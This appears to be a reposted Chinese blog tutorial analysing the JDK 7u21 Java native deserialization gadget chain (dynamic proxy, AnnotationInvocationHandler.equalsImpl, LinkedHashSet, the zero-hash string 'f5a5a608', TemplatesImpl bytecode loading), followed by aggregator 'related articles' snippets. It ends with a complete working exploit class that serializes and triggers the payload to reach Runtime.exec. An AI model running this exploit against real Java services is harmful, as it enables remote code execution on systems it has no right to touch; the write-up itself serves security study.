【Web】Java原生反序列化之jdk7u21——又见动态代理

目录

前言

利用链

简单分析

触发invoke的核心:AnnotationInvocationHandler#equalsImpl

巧用动态代理调用equalsImpl

反序列化的入口:HashSet

hash相等构造

为何还是用了LinkedHashSet

EXP


前言

jdk7u21这条原生链equals那部分和CC7挺像的(前者是新key调用,后者是旧key调用):【Web】Java反序列化之CC7链——Hashtable-CSDN博客

然后动态代理的部分又和CC1挺像的(前者是equals后者是default):

【Web】Java反序列化之再看CC1--LazyMap-CSDN博客

有相关的前置知识,跟起来还挺有意思

利用链

其实走到TemplatesImpl.getOutputProperties()这步大伙就都懂了

LinkedHashSet.readObject()LinkedHashSet.add()Proxy(Templates).equals()AnnotationInvocationHandler.invoke()AnnotationInvocationHandler.equalsImpl()Method.invoke()...TemplatesImpl.getOutputProperties()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()ClassLoader.defineClass()Class.newInstance()...MaliciousClass.<clinit>()...Runtime.exec()

简单分析

触发invoke的核心:AnnotationInvocationHandler#equalsImpl

private Boolean equalsImpl(Object o) {if (o == this)return true;if (!type.isInstance(o))return false;for (Method memberMethod : getMemberMethods()) {String member = memberMethod.getName();Object ourValue = memberValues.get(member);Object hisValue = null;AnnotationInvocationHandler hisHandler = asOneOfUs(o);if (hisHandler != null) {hisValue = hisHandler.memberValues.get(member);} else {try {hisValue = memberMethod.invoke(o);} catch (InvocationTargetException e) {return false;} catch (IllegalAccessException e) {throw new AssertionError(e);}}if (!memberValueEquals(ourValue, hisValue))return false;}return true;
}

 hisValue = memberMethod.invoke(o)这里调用了invoke方法,memberMethod 来自于getMemberMethods(),再底层一点就是this.type.getDeclaredMethods()

private Method[] getMemberMethods() {if (memberMethods == null) {memberMethods = AccessController.doPrivileged(new PrivilegedAction<Method[]>() {public Method[] run() {final Method[] mm = type.getDeclaredMethods();AccessibleObject.setAccessible(mm, true);return mm;}});}return memberMethods;
}

这里的type是通过构造函数传进的一个Annotation的子类

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {this.type = type;this.memberValues = memberValues;
}

总结一下就是,在equalsImpl方法中,遍历了this.type中的所有方法并且执行,若这里的type是恶意TemplatesImpl类或相关的接口,他也会自动遍历方法,并且去执行,即是说他会自动执行我们的TemplatesImpl#getOutputProperties(),从而完成攻击链调用。

前提是,我们要对AnnotationInvocationHandler先进行精心的构造,所谓精心构造,就是给它传入Templates.class(虽不继承自Annotation,但反射不看泛型)作为第一个参数type,不为什么,就为图它的getOutputProperties()是TemplatesImpl调用链的一环。

public interface Templates {/*** Create a new transformation context for this Templates object.** @return A valid non-null instance of a Transformer.** @throws TransformerConfigurationException if a Transformer can not be created.*/Transformer newTransformer() throws TransformerConfigurationException;/*** Get the properties corresponding to the effective xsl:output element.* The object returned will* be a clone of the internal values. Accordingly, it can be mutated* without mutating the Templates object, and then handed in to* {@link javax.xml.transform.Transformer#setOutputProperties}.** <p>The properties returned should contain properties set by the stylesheet,* and these properties are "defaulted" by default properties specified by* <a href="http://www.w3.org/TR/xslt#output">section 16 of the* XSL Transformations (XSLT) W3C Recommendation</a>.  The properties that* were specifically set by the stylesheet should be in the base* Properties list, while the XSLT default properties that were not* specifically set should be in the "default" Properties list.  Thus,* getOutputProperties().getProperty(String key) will obtain any* property in that was set by the stylesheet, <em>or</em> the default* properties, while* getOutputProperties().get(String key) will only retrieve properties* that were explicitly set in the stylesheet.</p>** <p>For XSLT,* <a href="http://www.w3.org/TR/xslt#attribute-value-templates">Attribute* Value Templates</a> attribute values will* be returned unexpanded (since there is no context at this point).  The* namespace prefixes inside Attribute Value Templates will be unexpanded,* so that they remain valid XPath values.</p>** @return A Properties object, never null.*/Properties getOutputProperties();
}

巧用动态代理调用equalsImpl

sun.reflect.annotation.AnnotationInvocationHandler 这个类实际就是一个InvocationHandler,我们可以将这个对象用Proxy进行代理

我们再回看一下AnnotationInvocationHandler的invoke方法,发现当方法名等于“equals”,且仅有一个Object类型参数时,会调用到 equalImpl 方法。

public Object invoke(Object proxy, Method method, Object[] args) {String member = method.getName();Class<?>[] paramTypes = method.getParameterTypes();// Handle Object and Annotation methodsif (member.equals("equals") && paramTypes.length == 1 &&paramTypes[0] == Object.class)return equalsImpl(args[0]);assert paramTypes.length == 0;if (member.equals("toString"))return toStringImpl();if (member.equals("hashCode"))return hashCodeImpl();if (member.equals("annotationType"))return type;// Handle annotation member accessorsObject result = memberValues.get(member);if (result == null)throw new IncompleteAnnotationException(type, member);if (result instanceof ExceptionProxy)throw ((ExceptionProxy) result).generateException();if (result.getClass().isArray() && Array.getLength(result) != 0)result = cloneArray(result);return result;
}

于是乎,我们的问题就变成了什么类的什么方法,在反序列化时会对proxy调用equals方法呢?

反序列化的入口:HashSet

提到equals,我们很容易会想到HashMap&HashSet&Hashtable这些,而这条链采用的正是HashSet来做反序列化的入口,其实和CC7用Hashtable做反序列化入口很相像,底层都调用的是HashMap的操作

我们先来看HashSet#readObject

 private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {// Read in any hidden serialization magics.defaultReadObject();// Read in HashMap capacity and load factor and create backing HashMapint capacity = s.readInt();float loadFactor = s.readFloat();map = (((HashSet)this) instanceof LinkedHashSet ?new LinkedHashMap<E,Object>(capacity, loadFactor) :new HashMap<E,Object>(capacity, loadFactor));// Read in sizeint size = s.readInt();// Read in all elements in the proper order.for (int i=0; i<size; i++) {E e = (E) s.readObject();map.put(e, PRESENT);}}

发现其将对象保存在创建的HashMap的key处来做去重

我们再看下HashMap#put

 public V put(K key, V value) {if (key == null)return putForNullKey(value);int hash = hash(key);int i = indexFor(hash, table.length);for (Entry<K,V> e = table[i]; e != null; e = e.next) {Object k;if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {V oldValue = e.value;e.value = value;e.recordAccess(this);return oldValue;}}modCount++;addEntry(hash, key, value, i);return null;}

我们看到了让人非常兴奋的key.equals(k),以及我们非常熟悉的hash相等构造

只要让key为精心构造的AnnotationInvocationHandler套的Proxy(上面已讲),k为恶意TemplatesImpl就大功告成,最终成功调用memberMethod.invoke(TemplatesImpl),也就是TemplatesImpl#getOutputProperties()

再往回退一步,怎么达成上面的key和k的条件呢,这就要求我们先往HashSet里放TemplatesImpl,再往HashSet里放Proxy

hash相等构造

接着上面,来看HashMap#put所调用的hash方法

final int hash(Object k) {int h = 0;if (useAltHashing) {if (k instanceof String) {return sun.misc.Hashing.stringHash32((String) k);}h = hashSeed;}h ^= k.hashCode();// This function ensures that hashCodes that differ only by// constant multiples at each bit position have a bounded// number of collisions (approximately 8 at default load factor).h ^= (h >>> 20) ^ (h >>> 12);return h ^ (h >>> 7) ^ (h >>> 4);}

不难看出,决定hash的关键在于k.hashCode(),所以proxy对象与TemplateImpl对象的“哈希”是否相等,仅取决于这两个对象的 hashCode() 是否相等。

TemplateImpl的 hashCode() 是一个Native方法,每次运行都会发生变化,我们是无法预测的。

作为动态代理,proxy.hashCode() 仍然会调用到 AnnotationInvocationHandler#invoke ,进而调用到AnnotationInvocationHandler#hashCodeImpl

private int hashCodeImpl() {
int result = 0;
for (Map.Entry<String, Object> e : memberValues.entrySet()) {
result += (127 * e.getKey().hashCode()) ^
memberValueHashCode(e.getValue());
}
return result;
}

意思是遍历 memberValues 这个Map中的每个key和value,计算每个 (127 * key.hashCode()) ^
value.hashCode() 并求和。
我们可以做对应的分析:
①当 memberValues 中只有一个key和一个value时,该哈希简化成 (127 * key.hashCode()) ^
value.hashCode()
②当 key.hashCode() 等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成
value.hashCode() 。
③当 value 就是TemplateImpl对象时,这两个哈希就变成完全相等

所以我们找到一个hashCode是0的对象f5a5a608作为 memberValues 的key,将恶意TemplateImpl对象作为value,这个proxy计算的hashCode就与TemplateImpl对象本身的hashCode相等了。

为何还是用了LinkedHashSet

首先我们要知道LinkedHashSet是HashSet的继承类

public class LinkedHashSet<E>extends HashSet<E>implements Set<E>, Cloneable, java.io.Serializable

其次,我们可以把其理解为保持元素的插入顺序或访问顺序的HashSet

所以为什么HashSet改用了LinkedHashSet呢?

主要跟反序列化时在HashSet.readObject中调用map.put插入TemplatesImpl实例和Proxy实例前后顺序有关系,因为需要HashMap.put插入时的比较操作来触发命令执行,当插入Proxy实例需要TemplatesImpl实例已经存在才能调用proxy.equals(templatesimpl)

总结来说就是:在反序列化过程中,需要保证 HashSet 内的 entry 保持有序,这也是为什么用 LinkedHashSet 的原因

当然也不是说HashSet就不能用,如果你把下面exp的Linked删去,再运行个几次,会惊喜的发现,还是有几次会弹出计算器的,但LinkedHashSet毕竟胜在稳定。That's all.

EXP

配合的javassist的版本也得低下来

<dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.17.1-GA</version></dependency>
package com.jdk7u21;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;public class jdk7u21 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(evil.class.getName()).toBytecode()});setFieldValue(templates, "_name", "xxx");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());String zeroHashCodeStr = "f5a5a608";// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值HashMap map = new HashMap();map.put(zeroHashCodeStr, "foo");// 实例化AnnotationInvocationHandler类Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);handlerConstructor.setAccessible(true);InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);// 为tempHandler创造一层代理Templates proxy = (Templates) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);// 实例化HashSet,并将两个对象放进去HashSet set = new LinkedHashSet();set.add(templates);set.add(proxy);// 将恶意templates设置到map中map.put(zeroHashCodeStr, templates);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(set);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/726748.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Day22:安全开发-PHP应用留言板功能超全局变量数据库操作第三方插件引用

目录 开发环境 数据导入-mysql架构&库表列 数据库操作-mysqli函数&增删改查 数据接收输出-html混编&超全局变量 第三方插件引用-js传参&函数对象调用 完整源码 思维导图 PHP知识点&#xff1a; 功能&#xff1a;新闻列表&#xff0c;会员中心&#xff0…

设计模式之备忘录模式

备忘录模式&#xff08;Memento&#xff09; 定义 在不破坏封装的前提下&#xff0c;捕获一个对象的内部状态&#xff0c;并在该对象之外保存这个状态。 使用场景 主要角色 发起人 Originator 需要备份的对象看管人 Caretaker 保存备份的容器备忘录 Memento 备份对象 类图…

利用chatgpt写论文使用教程

ChatGPT是人工智能技术的一种&#xff0c;可帮助人们综合运用和分析各种语言技巧&#xff0c;从而优化实验结果、加速研究流程以及提高文章质量。以下是利用ChatGPT写论文的使用教程&#xff1a; 综上所述&#xff0c;利用ChatGPT写论文涉及到一些技巧和方法&#xff0c;需要合…

API(接口) | 软件组件之间信息交互的“桥梁”

Hi&#xff0c;大家好&#xff0c;我是半亩花海。本文主要从 API 的定义、包含、用途和其他方面来简单地介绍 API&#xff08;接口&#xff09; ——软件组件之间信息交互的“桥梁”。 目录 一、什么是 API&#xff1f; 二、 API 中所包含哪些&#xff1f; 补充 三、API 可…

C盘中的休眠文件hiberfil.sys如何删除?

电脑休眠指整机将完全停止供电&#xff0c;而将当前处于运行状态的数据保存在硬盘中&#xff0c;下次启动的时候可以根据保存的休眠文件快速启动&#xff0c;还原上一次的电脑状态。 Win10的系统休眠文件叫作hiberfil.sys&#xff0c;它是系统休眠时临时保存的文件&#xff0c…

搜索-BFS 练习题 奇怪的电梯

奇怪的电梯 题目链接 题目描述 呵呵&#xff0c;有一天我做了一个梦&#xff0c;梦见了一种很奇怪的电梯。大楼的每一层楼都可以停电梯&#xff0c;而且第 i i i 层楼&#xff08; 1 ≤ i ≤ N 1 \le i \le N 1≤i≤N&#xff09;上有一个数字 K i K_i Ki​&#xff08; 0…

Java单例模式源码剖析及使用场景

Java中常用的单例模式实现方式主要有以下几种: 饿汉式 这种方式在类加载时就完成了实例的创建,是线程安全的。 public class Singleton {private static final Singleton instance new Singleton();private Singleton() {}public static Singleton getInstance() {return i…

mac vs code 文件滑到底很多空白的解决办法

ref&#xff1a;https://stackoverflow.com/questions/1747282/how-to-make-visual-studio-editor-stop-scrolling-past-bottom-of-a-file/40588828#40588828 设置、user settings: 加入&#xff1a;"editor.scrollBeyondLastLine": false

Windows系统下使用SVN版本管理的指南

前言 版本控制对于软件开发来说至关重要&#xff0c;它不仅帮助我们管理源代码的历史记录&#xff0c;也使得多人协作变得可能。SVN&#xff08;Subversion&#xff09;是一个流行的版本控制系统&#xff0c;特别是在Windows环境中&#xff0c;通过使用如TortoiseSVN这样的客户…

oracle linux7.9(centos7.9)安装nvidia GPU显卡驱动

一.业务场景 公司服务器配置了nvidia GPU显卡&#xff0c;安装的是oracle linux7.9操作系统&#xff0c;以下是安装GPU显卡驱动的操作。 二.GPU显卡驱动的前安装步骤 1.安装前的依赖软件的安装 yum -y install epel-release kernel-devel dkms gcc备注&#xff1a;利用unam…

自己优化重写了一个定时批量自动预约茅台的系统,每天帮我全家自动预约

自己优化重写了一个定时批量自动预约茅台的系统&#xff0c;每天帮我全家自动预约&#xff0c;预约结果通过邮件推送给我&#xff0c;每天手机能收到预约结果 这里写一下思路&#xff1a; 我并不是自己重头写了这个软件&#xff0c;只是基于开源系统优化了这个软件个人使用&am…

四信全球化拓展再启新篇!LoRa传感器与云平台领航智能感知时代

随着科技浪潮的不断推进&#xff0c;物联网已逐渐融入我们的生活。刚刚结束的MWC24盛会上&#xff0c;四信带来了一系列前沿技术成果&#xff0c;不仅将5G技术成功扩展至当前市场主流类型的终端&#xff0c;更携手联通、ASR等业界巨头&#xff0c;在连接、5G RedCap、AI、LoRa以…

SpringBoot整合【RocketMQ】

目录 1.POM文件添加依赖及yml配置 2.RocketmqUtil 3.生产者&#xff08;异步发送示例&#xff09; 4.消费者 5.测试 1.POM文件添加依赖及yml配置 <dependency><groupId>org.apache.rocketmq</groupId><artifactId>rocketmq-spring-boot-starter&l…

【安装教程】安装tensorflow-gpu版本

【安装教程】安装tensorflow-gpu版本 NOTE:准备工作TensorFlow安装1、 确定TensorFlow版本2、使用pip直接安装3、输入安装指令 TensorFlow安装后测试 NOTE: 如果不是首次安装tensorflow&#xff0c;卸载TensorFlow相关的内容&#xff0c;包括依赖的包&#xff08;tensorflow-e…

Base64转为图片

/*** base64转为图片* 文件路径:到文件夹即可,代码里会在文件夹里生成对应的jpg文件*/ public static String base64ToJpg(String path,String base64){String imageCode =""; if (!imageCode.equals("data:image/jpg;base64,")) {imageCode = &quo…

PokéLLMon 源码解析(六)

.\PokeLLMon\poke_env\teambuilder\teambuilder_pokemon.py """This module defines the TeambuilderPokemon class, which is used as an intermediate format to specify pokemon builds in teambuilders custom classes. """ # 导入必要的模…

存储过程:深入理解MySQL存储过程及其优势

目录 1. 创建存储过程 2. 带参数的存储过程 3. 返回值的存储过程 4. 错误处理 5. 存储过程的优势 在MySQL中&#xff0c;存储过程&#xff08;Stored Procedure&#xff09;是一组为了完成特定功能的SQL语句集合&#xff0c;这些语句被编译后存储在数据库服务器中&#xf…

光线追踪10 - Dielectrics( 电介质 )

水、玻璃和钻石等透明物质都属于电介质。当光线射入这些物质时&#xff0c;会分为反射光线和折射&#xff08;透射&#xff09;光线。我们将通过随机选择反射或折射来处理这一现象&#xff0c;每次相互作用只生成一条散射光线。11.1 Refraction 最难调试的部分是折射光线。通常…

铅酸废电池回收螯合树脂CH-90除镉系统

项目名称 某再生资源公司铅酸废电池回收除镉项目 工艺选择 化学沉淀系统过滤系统螯合树脂深度除镉系统 工艺原理 镉离子沉淀后进入螯合树脂除镉树脂 项目背景 铅酸蓄电池作为广泛应用的化学电源&#xff0c;凭借其电压稳定性、优异的功率性能&#xff0c;以及高性价比等…

大数据开发(Java面试真题-卷一)

大数据开发&#xff08;Java面试真题&#xff09; 1、讲一下 JVM 的垃圾回收的相关概念&#xff1f;2、JVM 常见调优方法有哪些&#xff1f;3、请解释下Java中的线程池是什么&#xff0c;如何使用线程池来提高程序的性能&#xff1f;4、请解释Java中HashMap和HashTable的区别&a…